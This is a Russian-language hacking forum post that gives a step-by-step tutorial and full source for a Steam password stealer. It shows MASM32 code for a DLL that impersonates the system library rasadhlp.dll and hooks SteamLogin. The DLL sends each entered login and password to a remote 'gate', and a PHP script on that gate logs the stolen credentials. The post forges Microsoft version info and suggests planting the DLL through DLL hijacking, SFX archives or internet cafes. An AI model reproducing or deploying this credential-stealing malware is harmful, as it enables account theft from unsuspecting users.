Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Хакерство и безопасность > Для новичков > Взлом паролей
CHAT Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Взлом паролей Брутфорс, взлом хешей, статистика использования паролей.

Ответ
 
Опции темы
Старый 21.10.2010, 22:46   #1
John Hooker
advanced 
 
Аватар для John Hooker
 
Регистрация: 25.05.2010
Сообщений: 272
Вес репутации: 6 John Hooker новичек
Депозит: 0$
Вы сказали Спасибо: 136
Поблагодарили 65 раз(а) в 48 сообщениях
В связи с огромной популярностью сервиса Steam, решил написать простой пример осуществления перехвата вводимых данных при авторизации (логин и пароль) с дальнейшей отправкой на гейт.
Беглый поиск в интернете показал, что подобные примеры существуют, однако, зачастую громоздки, либо уже устарели.
Итак, для осуществления перехвата необходимо определить, куда передается управление при попытке авторизации в Стиме. Основой для взаимодействия с сервисом Steam является Steam.dll, которая экспортирует множество функций, в том числе и функцию SteamLogin, которая как раз и вызывается при попытке авторизации.
Таким образом необходимо реализовать «прослойку», которая будет выполняется перед вызовом этой функции и передавать введенные данные на наш гейт. Для начала нужно определить, возможно ли заставить Steam подгрузить нашу библиотеку без внесения изменения в оригинальные файлы.
Если запустить Steam и посмотреть, какие dll’ки и откуда пытается подгрузить исполняемый файл, то мы увидим примерно следующее (я смотрел с помощью FileMon, но уже давно существует более продвинутый Process Monitor):

Как мы видим, подгружается множество библиотек, причем красным выделены неудачные попытки загрузки библиотек. При вызове LoadLibrary производится попытка найти некоторые системные библиотеки сначала в директории с исполняемым файлом, а уже потом в System32. Это позволяет сделать следующую вещь: выбрать какую-нибудь редкоиспользуемую системную библиотеку из тех, которые исполняемый файл сначала ищет в своей директории (например, rasadhlp.dll), создать свою библиотеку с таким же именем (которая будет сплайсить функцию SteamLogin) с пробросом экспортов в оригинальную библиотеку.

Условно это будет выглядеть следующим образом:



При попытке вызова какой-либо экспортируемоей функции из нашей библиотеки, вызов будет перенаправлен в оригинальную библиотеку. И при загрузке наша библиотека запишет инструкцию вида jmp XXXXXXX в начало функции SteamLogin, что позволит предварительно отправить данные авторизации на гейт, а уже потом вернуться к выполнению оригинальной функции.
Код библиотеки на MASM32 приведен ниже:
Код:
.486
.model flat, stdcall
option casemap :none

;Подключаем основные макросы и библиотеки
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm

uselib kernel32, masm32, user32, ws2_32

;Подключаем inc и lib файлы, необходимые для проброса экспортов в оригинальную dll
include rasodhlp.inc
includelib rasodhlp.lib

;Прототип функции отправки
report proto :dword,:dword

JUMPNEAR STRUCT 1
opcd BYTE ?
reladdr DWORD ?
JUMPNEAR ENDS
Пролог можно посмотреть в любом дизассемблере, для функции SteamLogin он выглядит следующим образом:



Реализуем процедуру, которая будет выполняться до вызова оригинальной функции:
Код:
.code

;void (*SteamLogin)(char* User, char* Password, int isSecureComputer, TSteamError& SteamErr);
;Процедура, которая будет выполняться перед SteamLogin
Steal:
;Пролог из оригинальной SteamLogin
push ebp
mov ebp,esp
push -1
;Сохраняем состояние регистров и флагов
pushad
pushfd
;При обращении к SteamLogin данные авторизации хранятся как в стеке, так и в регистрах eax,ecx
invoke report,ecx,eax
;Восстанавливаем состояние регистров и флагов
popfd
popad

;Передаем управление в оригинальную процедуру SteamLogin
push steam_login
add dword ptr[esp], 5
retn
Теперь процедуру отправки данных на гейт:
Код:
;Процедура отправки данных на сервер
report proc login:dword,passw:dword
local buffer[512] : byte
local sock : dword
local wsa : WSADATA
local saddr : sockaddr_in

;Инициализируем winsock
invoke WSAStartup,101h,addr wsa
.if eax == NO_ERROR
;Создаем сокет
invoke socket,PF_INET,SOCK_STREAM,0
.if eax != SOCKET_ERROR
mov sock,eax
;Получаем ip хоста
invoke gethostbyname,offset host
.if eax != 0
;Помещаем в eax первый элемент h_addr_list из структры hostent
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
;Заполняем структуру, необходимую для подключения
mov saddr.sin_addr,eax
invoke htons,80
mov saddr.sin_port,ax
mov saddr.sin_family,AF_INET
;Подключаем сокет
invoke connect,sock,addr saddr,sizeof saddr
.if eax != SOCKET_ERROR
;Формируем запрос
invoke wsprintf,addr buffer,offset request,offset gate_path,login,passw,offset host
;Определяем длину запроса
invoke lstrlen,addr buffer
;Отправляем данные
invoke send,sock,addr buffer,eax,0
.endif
.endif
;Закрываем сокет
invoke closesocket,sock
.endif
;Выполняем очистку
invoke WSACleanup
.endif

ret
report endp
И, наконец, точку входа DLL:
Код:
LibMain proc instance:dword,reason:dword,reserved:dword
local pr : dword
local hl : dword
local path1[512] : dword
local path2[512] : dword

.if reason == DLL_PROCESS_ATTACH
;Получаем путь к System32
invoke GetSystemDirectory,addr path1,512
;Получаем путь к Steam.exe
invoke GetAppPath,addr path2

invoke wsprintf,addr path1,chr$("%s\%s"),addr path1,chr$("rasadhlp.dll")
invoke wsprintf,addr path2,chr$("%s\%s"),addr path2,chr$("rasodhlp.dll")
;Копируем dll в директорию стима
invoke CopyFile,addr path1,addr path2,0
.if eax == 0
ret
.endif
;Загружать скопированную библиотеку в память необязательно, т.к. загрузчик сам её
;загрузит при вызове GetProcAddress

;Помещаем в hl хендл dll стима
mov hl,FUNC(GetModuleHandle,chr$("Steam.dll"))
;Помещаем в steam_login адрес процедуры SteamLogin из Steam.dll
mov steam_login,FUNC(GetProcAddress,hl,chr$("SteamLogi n"))

;Изменяем атрибуты защиты памяти
invoke VirtualProtect,steam_login,sizeof JUMPNEAR,PAGE_READWRITE,addr pr
;Помещаем в начало процедуры SteamLogin конструкцию вида jmp XXXXXXXX,
;где XXXXXXXX - адрес процедуры Steal
mov eax,steam_login
assume eax: ptr JUMPNEAR
mov [eax].opcd, 0e9h
mov ecx,offset Steal
sub ecx,steam_login
sub ecx,5
mov [eax].reladdr,ecx
assume eax:nothing

;Восстанавливаем исходные атрибуты
invoke VirtualProtect,steam_login,sizeof JUMPNEAR,pr,addr pr
;Сообщаем об удачной загрузке dll'ки
mov eax,1

.endif

ret
LibMain endp

end LibMain
Также нужно создать файл rasadhlp.def, который будет содержать описание экспортов библиотеки:
Код:
LIBRARY rasadhlp
EXPORTS
AcsHlpAttemptConnection = rasodhlp.AcsHlpAttemptConnection
AcsHlpNbConnection = rasodhlp.AcsHlpNbConnection
AcsHlpNoteNewConnection = rasodhlp.AcsHlpNoteNewConnection
WSAttemptAutodialAddr = rasodhlp.WSAttemptAutodialAddr
WSAttemptAutodialName = rasodhlp.WSAttemptAutodialName
WSNoteSuccessfulHostentLookup = rasodhlp.WSNoteSuccessfulHostentLookup
и файлы rasodhlp.lib и rasodhlp.inc, которые необходимы для компиляции. Чтобы создать файл rasodhlp.inc, необходимо посмотреть в дизассемблере экспорты оригинальной библиотеки



и определить количество аргументов, которые передаются в эти функции, чтобы составить прототипы.
Я ориентировался исключительно по инструкции retn (т.е. число после retn / 4 = количество аргументов):



Вот что меня получилось:
Код:
AcsHlpAttemptConnection PROTO :DWORD
AcsHlpNbConnection PROTO :DWORD
AcsHlpNoteNewConnection PROTO :DWORD,:DWORD
WSAttemptAutodialAddr PROTO :DWORD,:DWORD
WSAttemptAutodialName PROTO :DWORD
WSNoteSuccessfulHostentLookup PROTO :DWORD,:DWORD
Для создания lib-файла понадобится программа inc2l, которая обычно есть в комплекте MASM32. Для большей похожести на оригинал можно ещё создать .rc файл с информацией о версии dll’ки:
Код:
#define IDR_VERSION1 1

IDR_VERSION1 VERSIONINFO
FILEVERSION 5,1,2600,5512
PRODUCTVERSION 5,1,2600,5512
FILEOS 0x00000004
FILETYPE 0x00000000
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "FFFF0000"
BEGIN
VALUE "FileVersion", "5.1.2600.5512\0"
VALUE "ProductVersion", "5.1.2600.5512\0"
VALUE "CompanyName", "Microsoft Corporation\0"
VALUE "FileDescription", "Remote Access AutoDial Helper\0"
VALUE "InternalName", "rasadhlp.dll\0"
VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved.\0"
VALUE "OriginalFilename", "rasadhlp.dll\0"
VALUE "ProductName", "Microsoft® Windows® Operating System\0"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0xFFFF, 0x0000
END
END
Теперь можно и скомпилировать все это дело. Пакет для компиляции можно взять из этой статьи. После компиляции получим свою кастомную rasadhlp.dll, которую необходимо поместить в директорию с файлом Steam.exe. Сделать это можно разными способами, например, воспользоваться уязвимостью dll hijacking в каком-либо стороннем приложении, сделать sfx-архив, который будет пытаться скопировать библиотеку в возможные места расположения стима после распаковки или банально прийти в какое-нибудь интернет-кафе, куда имеют обыкновение ходить игроки в продукты Steam (в США таких мест довольно много).
И, напоследок, код гейта, на который будут приходить реквизиты доступа:
Код:
<?php
if(isset($_GET['var1']) && isset($_GET['var2']) && !empty($_GET['var1']) && !empty($_GET['var2']) && !is_array($_GET['var1']) && !is_array($_GET['var2']))
{
$string = $_GET['var1'].':'.$_GET['var2']."\n";
$h = @fopen('log.txt', 'a');
flock($h, LOCK_EX);
fwrite($h, $string);
flock($h, LOCK_UN);
fclose($h);
}
?>
Не забудьте создать файл log.txt, проставить на него права доступа 777 и закинуть в директорию файл .htaccess:
Код:
<Files log.txt>
order allow,deny
deny from all
</Files>
Скачать файлы

Источник:http://kaimi.ru/
John Hooker вне форума   Ответить с цитированием
Благодарности: 2
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 19:09.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru